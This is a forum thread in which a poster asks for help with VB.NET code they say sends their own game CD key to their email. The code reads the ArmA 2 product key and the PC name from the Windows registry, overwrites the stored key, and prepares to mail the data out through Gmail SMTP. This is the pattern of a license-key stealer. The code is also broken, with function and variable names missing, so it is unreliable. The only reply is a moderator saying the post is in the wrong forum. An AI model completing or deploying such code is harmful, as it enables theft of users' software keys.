CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 2 of 2

Thread: Help!

  1. #1
    Join Date
    Mar 2013


    Hello, I'm trying to make something that take my CD-Key and sends it to my Email! Am I doing this right?

    Also I'm getting error, Identifier Expected.

    Imports System.Net.Mail
    Private Shared Sub (ByVal  As String())
    Dim str1 As String
    Dim str2 As String

    str1 = "PC Name=" + Dns.GetHostName() + " & ChrW(10)"
    str2 = .("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY")
    If ((str2 <> "no path") = True) Then
    str1 = str1 + "key=" + str2 + " & ChrW(10)"
    .("Software\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
    GoTo Label_008E
    End If
    str1 = str1 + "key=" + .("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY") + " & ChrW(10)
    .("SOFTWARE\Bohemia Interactive Studio\ArmA 2 OA", "KEY", "repeat key")
    MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
    MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
    MyMailMessage.Subject = "Account Information"
    MyMailMessage.Body = "Key: "
    Dim SMTP As New SmtpClient("smtp.gmail.com")
    SMTP.Port = 587
    SMTP.EnableSsl = True
    SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password

    End Sub

  2. #2
    VictorN's Avatar
    VictorN is offline Super Moderator Power Poster
    Join Date
    Jan 2003
    Hanover Germany

    Re: Help!

    Before posting something to some Forum you first have to choose the one corresponding your problem!
    The Forum:
    Visual C++ Bugs & Fixes
    Share bugs and fixes for source code on this site. Also use this to share bugs/fixes in the various class libraries etc. of use to VC++ developers. This is NOT for general programming questions.
    has nothing to do with your code problem, nor is it for VB problems at all!
    Victor Nijegorodov

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Windows Mobile Development Center

Click Here to Expand Forum to Full Width

On-Demand Webinars (sponsored)

We have made updates to our Privacy Policy to reflect the implementation of the General Data Protection Regulation.